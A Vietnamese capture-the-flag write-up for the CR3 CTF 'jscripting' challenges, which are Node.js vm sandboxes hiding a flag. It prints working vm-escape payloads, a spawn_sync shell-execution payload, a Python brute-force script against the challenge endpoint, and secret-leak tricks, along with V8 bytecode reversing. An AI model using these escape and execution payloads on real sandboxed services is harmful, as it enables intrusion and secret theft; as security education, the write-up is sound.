Tối hôm trước mình có làm vài bài bên CR3 CTF để warmup cho Hacktheon 2024 vào thứ 7, sau đây là writeup của mình cho 2 bài jscripting
và jscripting-revenge
Jscripting#
Có thể nói đây là một nodejs sandbox dùng worker thread để chạy external code, dùng một custom require
function chỉ cho phép gọi đến một danh sách các module giới hạn, mục tiêu sẽ là exfiltrate được flag hay secret gì đó. Module vm
của nodejs được chọn để chạy external code, tuy nhiên module này không được tạo ra với mục đích bảo mật, đây chỉ là module giúp lập trình viên run code trong một context khác để tránh xung đột và ảnh hưởng đến các object ở context chính. Để escape ra vm
thì việc thường làm sẽ là tìm cách leak các object từ bên ngoài thông qua các callback hoặc proxy
(() => { throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
return (cc.constructor.constructor('return 123'))();
}
return me[key];
}
})
khi throw Exception thì attribute stack
của exception sẽ được access, từ đó get
của proxy sẽ được trigger và ta có thể leak được external object thông qua arguments.callee.caller
. Ở đây thì require
đã bị thay thế như bên trên đề cập, globalThis.process
cũng bị set về null nhưng globalThis.module
thì vẫn còn, ta có thể invoke tới globalThis.module.constructor.createRequire
để tạo lại function require
.
1});(() => { throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
return (cc.constructor.constructor(' globalThis.module.constructor.createRequire("/etc/passwd")("child_process").execSync("ls")'))();
}
return me[key];
}
})
Khi chạy payload trên ta nhận về một lỗi:
Khi mình trace vào source code của nodejs thì như sau:
Nhìn lại code của đề:
Không rõ là vô tình hay cố ý nhưng việc set process.env
thành null khiến cho ta không thể invoke exec
của child_process
được nữa. Một fact đó là globalThis.process
thật ra là một module và được nodejs auto expose ra, ta có thể chủ động import lại module này bằng cách require("process")
, ở đây ta có thể đơn giản là set process.env = {}
để không gặp lỗi khi chạy child_process
nữa, cách của mình thì lại lợi dụng process.binding
để truy cập đến các low level API của nodejs, cụ thể là spawn_sync
để RCE
1});(() => { throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
return (cc.constructor.constructor(' globalThis.module.constructor.createRequire("/etc/passwd")("process").binding("spawn_sync").spawn({file: "/bin/sh",args: ["/bin/sh","-c", "calc.exe" ], stdio: [ {type:"pipe",readable:true,writable:false}, {type:"pipe",readable:false,writable:true}, {type:"pipe",readable:false,writable:true} ]})'))();
}
return me[key];
}
})
Thực chất ta có thể exfiltrate biến flag
, nhưng flag thật thì nằm ở secret
, code để oracle attack biến flag
:
import requests
import string
data = "1});(() => { throw new Proxy({}, {\n get: function(me, key) {\n\t const cc = arguments.callee.caller;\n\t if (cc != null) {\n\t\treturn (cc.constructor.constructor('if (Object.getOwnPropertyDescriptor(globalThis.storage, \"secret\").value[INDEX] == \"CHAR\") {return 200}else{return 404}'))();\n\t }\n\t return me[key];\n }\n})"
charset = string.printable
flag = "cr3{"
for i in range(4 ,100):
for c in charset:
payload = data.replace("INDEX", str(i)).replace("CHAR", c)
try:
r = requests.post("https://jscripting.1337.sb/api/execute", json={
"script": payload
})
print(c)
if "OK" in r.text:
flag += c
print("===>" + flag)
if c == "}":
exit()
break
except:
pass
Jscripting-revenge#
Vì có revenge
trong tên nên hẳn là context bài này giống bài cũ, nhưng patch lại một cái gì đó. Ta thấy lần này có một file utils.jsc
được ship cùng và một file bytecode.js
dùng để run file file jsc kia
Dùng tính năng prettier của chrome để beautify lại cái js cho tiện
const vm = require('vm');
function generateScript(a, b) {
fixBytecode(a);
const c = readSourceHash(a);
let d = "";
1 < c && (d = "\"" + "\u200B".repeat(c - 2) + "\"");
const e = new vm.Script(d,{
cachedData: a,
filename: b
});
if (e.cachedDataRejected)
throw new Error("Invalid or incompatible cached data (cachedDataRejected)");
return e
}
const readSourceHash = function(a) {
if (!Buffer.isBuffer(a))
throw new Error("bytecodeBuffer must be a buffer object.");
return process.version.startsWith("v8.8") || process.version.startsWith("v8.9") ? a.subarray(12, 16).reduce((a,b,c)=>a += b * Math.pow(256, c), 0) : a.subarray(8, 12).reduce((a,b,c)=>a += b * Math.pow(256, c), 0)
}
, compileCode = function(a, b) {
if ("string" != typeof a)
throw new Error(`javascriptCode must be string. ${typeof a} was given.`);
const c = new vm.Script(a,{
produceCachedData: !0
});
let d = c.createCachedData && c.createCachedData.call ? c.createCachedData() : c.cachedData;
return b && (d = brotliCompressSync(d)),
d
}
, fixBytecode = function(a) {
if (!Buffer.isBuffer(a))
throw new Error("bytecodeBuffer must be a buffer object.");
const b = compileCode("\"\u0CA0_\u0CA0\"")
, c = parseFloat(process.version.slice(1, 5));
process.version.startsWith("v8.8") || process.version.startsWith("v8.9") ? (b.subarray(16, 20).copy(a, 16),
b.subarray(20, 24).copy(a, 20)) : 12 <= c && 21 >= c ? b.subarray(12, 16).copy(a, 12) : (b.subarray(12, 16).copy(a, 12),
b.subarray(16, 20).copy(a, 16))
}
, runBytecode = function(a) {
if (!Buffer.isBuffer(a))
throw new Error("bytecodeBuffer must be a buffer object.");
const b = generateScript(a);
return b.runInThisContext()
}
, runBytecodeFile = function(a) {
if ("string" != typeof a)
throw new Error(`filename must be a string. ${typeof a} was given.`);
const b = require('fs').readFileSync(a);
return runBytecode(b)
};
module.exports = {
runBytecodeFile
};
Vậy file này dùng vm
để run compiled bytecode, vậy mình nghĩ ta cần biết được thực sự file kia chạy gì, mình qua một file test để run standalone cái utils.jsc
Bị lỗi, nhìn lại vào source worker.js
ta thấy runBytecodeFile("./utils.jsc")
trả về một anonymous function, trước khi invoke function này thì có một dòng globalThis.require = require;
, ta thử thêm dòng này vào vì khả năng function mà lỗi đang nhắc đến là globalThis.require
Lỗi khác được trả về, tới đây thì stuck một lúc, mình suy đoán là có thể nó đang thao tác gì đó với globalThis.storage
nên mình thử thêm vào
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
secret = "SECRET"
flag = "FLAG"
globalThis.storage = new Proxy({ secret },
{
get: (target, name) => {
if (name === "secret") {
return null;
}
return target[name];
},
getOwnPropertyDescriptor: (target, name) => {
if (name === "secret") {
return {
value: flag,
writable: true,
enumerable: true,
configurable: true,
};
}
return target[name];
}
});
runBytecodeFile("./utils.jsc")();
Lần này lỗi không throw ra nữa, nhưng vấn đề là làm sao để ta biết được cụ thể thì utils.js
đang làm gì?
Reversing V8 bytecode#
Tới đây mình quyết định trace các function call của V8
node --trace test.js
Vì khi trace như vầy thì nó sẽ in ra tất cả function call của nodejs internal, ta có thể narrow down bằng cách tìm đến đoạn bắt đầu load utils.js
vì sau đó chắc chắn là các function call của utils.jsc
Chắc là cỡ đoạn này, tiếp tục trace xuống ta thấy nó import module util
Tìm thấy đoạn nó thao tác với symbol nodejs.util.inspect.custom
Chưa có thông tin gì nhiều lắm, nhưng với 2 dữ kiện là import util
và truy cập vào symbol nodejs.util.inspect.custom
thì có thể globalThis.storage
đang chứa gì đó, tới đây mình quyết định debug v8 của nodejs
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
secret = "SECRET"
flag = "FLAG"
globalThis.storage = new Proxy({ secret },
{
get: (target, name) => {
if (name === "secret") {
return null;
}
return target[name];
},
getOwnPropertyDescriptor: (target, name) => {
if (name === "secret") {
return {
value: flag,
writable: true,
enumerable: true,
configurable: true,
};
}
return target[name];
}
});
runBytecodeFile("./utils.jsc")();
%DebugPrint(globalThis.storage);
%SystemBreak();
gdb node
pwndbg> r --allow-natives-syntax test.js
Ta dùng option –allow-natives-syntax thì v8 sẽ expose ra một số API phục vụ cho debug, %DebugPrint
sẽ in các thông tin về memory của một object, %SystemBreak
sẽ dùng để set breakpoint. Mình sẽ dùng gdb script của v8 để tiện cho debug: https://chromium.googlesource.com/v8/v8/+/refs/heads/main/tools/gdbinit
target: 0x17067d4aec29
Đây là global.storage
, ta sẽ inspect nó bằng lên job
của v8 gdb script
Tìm thấy symbol đó rồi, giờ ta sẽ inspect byte codes của nó
Đây là các constant của nó, v8 bytecode chỉ thao tác với các constant, register gồm thanh ghi accumulator và các thanh ghi r0, r1, …
Để tìm hiểu cách các opcode hoạt động thì mình đi vào source V8
Cứ search through source và mình tìm được handler của opcode, lấy ví dụ của TestReferenceEqual
, đầu tiên nó sẽ lấy trá trị từ register tại arg 1, so sánh với accumulator register, lưu kết quả vào accumulator register. Ngay sau TestReferenceEqual
là JumpIfTrue
Tại đây sẽ check kết quả từ accumulator register để quyết định có jump hay không, cứ thế ta sẽ reverse dần để tìm ra flow đúng.
Đoạn này sẽ load depth
vào, truyền vào parseInt
và kết quả trả về lưu vào trong r0
Sau đó sẽ tiếp tục so sánh xem có lớn hơn 3
không
Nếu đúng thì sẽ load constant 2 là Error: Too deep
và return
Để kiểm chứng thì ta có thể chạy thử
Nếu sai thì jump đến +28
, tại đây như ban đầu ta biết a1
là depth, vậy là lúc nãy truyền vào parseInt
để check thôi chứ depth không bị thay đổi, tiếp tục lưu depth
vào r0
bằng lệnh Star0
và so sánh với Infinity
, nếu không bằng thì sẽ nhảy đến +46
, tại +46
sẽ load constant haha nice try!
và return
Vậy có vẻ nhánh ta cần vào là lúc depth
== Infinity
, cùng thử xem sao
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
secret = "SECRET"
flag = "FLAG"
globalThis.storage = new Proxy({ secret },
{
get: (target, name) => {
if (name === "secret") {
return null;
}
return target[name];
},
getOwnPropertyDescriptor: (target, name) => {
if (name === "secret") {
return {
value: flag,
writable: true,
enumerable: true,
configurable: true,
};
}
return target[name];
}
});
runBytecodeFile("./utils.jsc")();
// %DebugPrint(globalThis.storage);
// %SystemBreak();
const util = require("util");
console.log(util.inspect(globalThis.storage, { compact: false, depth: Infinity, breakLength: 0 }))
{
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': {
'👺': [Object: Inspection interrupted prematurely. Maximum call stack size exceeded.]
...
Hình như depth bị lớn quá, thử trên server xem, giờ ta sẽ phải import util
vào
<ref *1> Object [global] {
global: [Circular *1],
clearImmediate: [Function: clearImmediate],
setImmediate: [Function: setImmediate] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
clearInterval: [Function: clearInterval],
clearTimeout: [Function: clearTimeout],
setInterval: [Function: setInterval],
setTimeout: [Function: setTimeout] {
[Symbol(nodejs.util.promisify.custom)]: [Getter]
},
queueMicrotask: [Function: queueMicrotask],
structuredClone: [Getter/Setter],
atob: [Getter/Setter],
btoa: [Getter/Setter],
performance: [Getter/Setter],
fetch: [AsyncFunction: fetch],
crypto: [Getter],
storage: {
'👺': {
'👺': {
'👺': {
'👺': {
...
secureRequire: [Function: secureRequire]
Ta thấy được function secureRequire
, thử dùng %DebugPrint
để xem bytecode của secureRequire
như cách vừa nãy thử
0xd73e1e351a1: [BytecodeArray] in OldSpace
- map: 0x13cd552c0fd1 <Map(BYTECODE_ARRAY_TYPE)>
Parameter count 2
Register count 14
Frame size 112
Bytecode age: 0
9774 S> 0xd73e1e351d6 @ 0 : 79 00 00 25 CreateArrayLiteral [0], [0], #37
0xd73e1e351da @ 4 : c4 Star0
10013 S> 0xd73e1e351db @ 5 : 12 LdaFalse
0xd73e1e351dc @ 6 : c3 Star1
10048 S> 0xd73e1e351dd @ 7 : b1 fa 01 03 GetIterator r0, [1], [3]
0xd73e1e351e1 @ 11 : be Star6
0xd73e1e351e2 @ 12 : 2d f4 01 05 GetNamedProperty r6, [1], [5]
0xd73e1e351e6 @ 16 : bf Star5
0xd73e1e351e7 @ 17 : 12 LdaFalse
0xd73e1e351e8 @ 18 : bd Star7
0xd73e1e351e9 @ 19 : 19 ff f0 Mov <context>, r10
0xd73e1e351ec @ 22 : 11 LdaTrue
0xd73e1e351ed @ 23 : bd Star7
10040 S> 0xd73e1e351ee @ 24 : 5d f5 f4 07 CallProperty0 r5, r6, [7]
0xd73e1e351f2 @ 28 : b9 Star11
0xd73e1e351f3 @ 29 : 9f 07 JumpIfJSReceiver [7] (0xd73e1e351fa @ 36)
0xd73e1e351f5 @ 31 : 65 c6 00 ef 01 CallRuntime [ThrowIteratorResultNotAnObject], r11-r11
0xd73e1e351fa @ 36 : 2d ef 02 09 GetNamedProperty r11, [2], [9]
0xd73e1e351fe @ 40 : 96 25 JumpIfToBooleanTrue [37] (0xd73e1e35223 @ 77)
0xd73e1e35200 @ 42 : 2d ef 03 0b GetNamedProperty r11, [3], [11]
0xd73e1e35204 @ 46 : b9 Star11
0xd73e1e35205 @ 47 : 12 LdaFalse
0xd73e1e35206 @ 48 : bd Star7
0xd73e1e35207 @ 49 : 19 ef f8 Mov r11, r2
10040 S> 0xd73e1e3520a @ 52 : 19 f8 f6 Mov r2, r4
10074 S> 0xd73e1e3520d @ 55 : 0b f8 Ldar r2
10081 E> 0xd73e1e3520f @ 57 : 6b 03 0d TestEqual a0, [13]
0xd73e1e35212 @ 60 : 98 09 JumpIfTrue [9] (0xd73e1e3521b @ 69)
0xd73e1e35214 @ 62 : 13 04 LdaConstant [4]
10095 E> 0xd73e1e35216 @ 64 : 6b 03 0e TestEqual a0, [14]
0xd73e1e35219 @ 67 : 99 06 JumpIfFalse [6] (0xd73e1e3521f @ 73)
10125 S> 0xd73e1e3521b @ 69 : 11 LdaTrue
0xd73e1e3521c @ 70 : c3 Star1
10156 S> 0xd73e1e3521d @ 71 : 8a 06 Jump [6] (0xd73e1e35223 @ 77)
10031 E> 0xd73e1e3521f @ 73 : 89 33 00 0f JumpLoop [51], [0], [15] (0xd73e1e351ec @ 22)
0xd73e1e35223 @ 77 : 0d ff LdaSmi [-1]
0xd73e1e35225 @ 79 : bb Star9
0xd73e1e35226 @ 80 : bc Star8
0xd73e1e35227 @ 81 : 8a 05 Jump [5] (0xd73e1e3522c @ 86)
0xd73e1e35229 @ 83 : bb Star9
0xd73e1e3522a @ 84 : 0c LdaZero
0xd73e1e3522b @ 85 : bc Star8
0xd73e1e3522c @ 86 : 10 LdaTheHole
0xd73e1e3522d @ 87 : a6 SetPendingMessage
0xd73e1e3522e @ 88 : ba Star10
0xd73e1e3522f @ 89 : 0b f3 Ldar r7
0xd73e1e35231 @ 91 : 96 23 JumpIfToBooleanTrue [35] (0xd73e1e35254 @ 126)
0xd73e1e35233 @ 93 : 19 ff ef Mov <context>, r11
0xd73e1e35236 @ 96 : 2d f4 05 10 GetNamedProperty r6, [5], [16]
0xd73e1e3523a @ 100 : 9e 1a JumpIfUndefinedOrNull [26] (0xd73e1e35254 @ 126)
0xd73e1e3523c @ 102 : b8 Star12
0xd73e1e3523d @ 103 : 5d ee f4 12 CallProperty0 r12, r6, [18]
0xd73e1e35241 @ 107 : 9f 13 JumpIfJSReceiver [19] (0xd73e1e35254 @ 126)
0xd73e1e35243 @ 109 : b7 Star13
0xd73e1e35244 @ 110 : 65 c6 00 ed 01 CallRuntime [ThrowIteratorResultNotAnObject], r13-r13
0xd73e1e35249 @ 115 : 8a 0b Jump [11] (0xd73e1e35254 @ 126)
0xd73e1e3524b @ 117 : b9 Star11
0xd73e1e3524c @ 118 : 0c LdaZero
0xd73e1e3524d @ 119 : 1c f2 TestReferenceEqual r8
0xd73e1e3524f @ 121 : 98 05 JumpIfTrue [5] (0xd73e1e35254 @ 126)
0xd73e1e35251 @ 123 : 0b ef Ldar r11
0xd73e1e35253 @ 125 : a8 ReThrow
0xd73e1e35254 @ 126 : 0b f0 Ldar r10
0xd73e1e35256 @ 128 : a6 SetPendingMessage
0xd73e1e35257 @ 129 : 0c LdaZero
0xd73e1e35258 @ 130 : 1c f2 TestReferenceEqual r8
0xd73e1e3525a @ 132 : 99 05 JumpIfFalse [5] (0xd73e1e3525f @ 137)
0xd73e1e3525c @ 134 : 0b f1 Ldar r9
0xd73e1e3525e @ 136 : a8 ReThrow
10200 S> 0xd73e1e3525f @ 137 : 0b f9 Ldar r1
0xd73e1e35261 @ 139 : 96 04 JumpIfToBooleanTrue [4] (0xd73e1e35265 @ 143)
10225 S> 0xd73e1e35263 @ 141 : 0e LdaUndefined
10232 S> 0xd73e1e35264 @ 142 : a9 Return
10251 S> 0xd73e1e35265 @ 143 : 2d 03 06 14 GetNamedProperty a0, [6], [20]
0xd73e1e35269 @ 147 : bf Star5
0xd73e1e3526a @ 148 : 13 04 LdaConstant [4]
0xd73e1e3526c @ 150 : bd Star7
10251 E> 0xd73e1e3526d @ 151 : 5e f5 03 f3 16 CallProperty1 r5, a0, r7, [22]
0xd73e1e35272 @ 156 : 97 04 JumpIfToBooleanFalse [4] (0xd73e1e35276 @ 160)
10284 S> 0xd73e1e35274 @ 158 : 0e LdaUndefined
10291 S> 0xd73e1e35275 @ 159 : a9 Return
10311 S> 0xd73e1e35276 @ 160 : 17 06 LdaImmutableCurrentContextSlot [6]
0xd73e1e35278 @ 162 : aa 07 ThrowReferenceErrorIfHole [7]
0xd73e1e3527a @ 164 : bf Star5
10318 E> 0xd73e1e3527b @ 165 : 62 f5 03 18 CallUndefinedReceiver1 r5, a0, [24]
10335 S> 0xd73e1e3527f @ 169 : a9 Return
Constant pool (size = 8)
0xd73e1e35281: [FixedArray] in OldSpace
- map: 0x13cd552c0211 <Map(FIXED_ARRAY_TYPE)>
- length: 8
0: 0x0d73e1e352d1 <ArrayBoilerplateDescription PACKED_ELEMENTS, 0x0d73e1e352e9 <FixedArray[8]>>
1: 0x13cd552c9211 <String[4]: #next>
2: 0x13cd552c5f49 <String[4]: #done>
3: 0x13cd552c4821 <String[5]: #value>
4: 0x11a795fc2861 <String[4]: #util>
5: 0x13cd552c70b9 <String[6]: #return>
6: 0x11a795fd8471 <String[10]: #startsWith>
7: 0x0d73e1e35149 <String[12]: #localRequire>
Handler Table (size = 32)
from to hdlr (prediction, data)
( 22, 77) -> 83 (prediction=0, data=10)
( 96, 115) -> 117 (prediction=0, data=11)
Source Position Table (size = 54)
0x0d73e1e35449 <ByteArray[54]>
Có 3 route lead đến return, ở +160
sẽ là nơi ta cần đến vì 2 route còn lại đều là return về undefined
.
Phần này sẽ check xem module đang require có phải là util không, nếu không thì nhảy đến +160
, vậy là ta không được include module có tên bắt đầu bằng util...
Cách bypass của tác giả đó là override lại method startsWith
luôn return false, để ý bảng constant ta sẽ thấy method startsWith
được gọi để check nếu name của module bằng đầu bằng util...
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`String.prototype.startsWith = () => false;return JSON.stringify([...globalThis.secureRequire(\"util\").inspect(globalThis.storage, {customInspect: true, depth: Infinity})])`)()}, toString: () => k })})()
Kết quả trả về đi qua JSON.stringify, method toJSON
được gọi do đó ta có thể leak được external object thông qua caller
Được rồi, nhưng mình chẳng thấy flag đâu cả…
Thử test lại ở local, nâng stack-size lên
node --stack-size=10000000 test.js
Flag hiện ra rồi, vậy là do đệ quy quá nhiều lần exceeds default stack-size. Đến đây thì mình bí rồi, mình xem thử cách làm của author
(()=>{const a=new Error;a.name={toString:new Proxy(()=>{},{apply(a,b,c){throw c.constructor.constructor("String.prototype.startsWith = (s, p) => { return false; };return [...secureRequire('util').inspect(globalThis.storage, {customInspect: true, depth: Infinity})]")()}})};try{a.stack}catch(a){return a}})();
Đầu tiên thì cứ phân tích payload này trước, đầu tiên gán một Proxy cho hàm toString
của Error.name
, khi Error.name.toString
được gọi nó sẽ trigger method apply
của proxy, khi gọi a.stack
thì ở internal side của nodejs prepareStackTrace
sẽ được gọi và gọi đến Error.name.toString
, đây là để escape ra khỏi vm
. Đoạn throw (...)
sẽ được chạy, bằng cách handle exception ở bên ngoài thì ta có thể catch lại kết quả của câu lệnh vừa chạy và return nó về. Sau khi xem xong mình vẫn không hiểu vì sao cách của author được, hơi ảo nhưng có lẽ mình sẽ tìm hiểu và update sau
UPDATE: thật ra đây là vấn đề của thằng burpsuite cơ, payload mình oke =))) đm burpsuite, me go for postman
Unintendeds#
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()
Vì getter sẽ được invoke sau khi Proxy handle xong, nếu thời điểm mà getter của p
chạy thì this.secret
lúc này sẽ không còn invoke get
của Proxy nữa
new Proxy(_=>_ , {
get: new Proxy(_=>_ , {
apply: function(target, thisArg, argumentsList) {
return argumentsList.constructor.constructor(`
let leak;
const stream = secureRequire('stream');
const console = secureRequire('console');
const out = stream.Writable({
write(data) {
leak = data;
}
});
const logger = new console.Console({ stdout: out });
logger.dir(storage);
return Array.from(leak).toString();
`);
}
})
})
Cách này cũng khá hay, override method write và cho console.dir (console.dir sẽ không invoke get
của Proxy, cũng như getter) lưu data vào một biến và trả về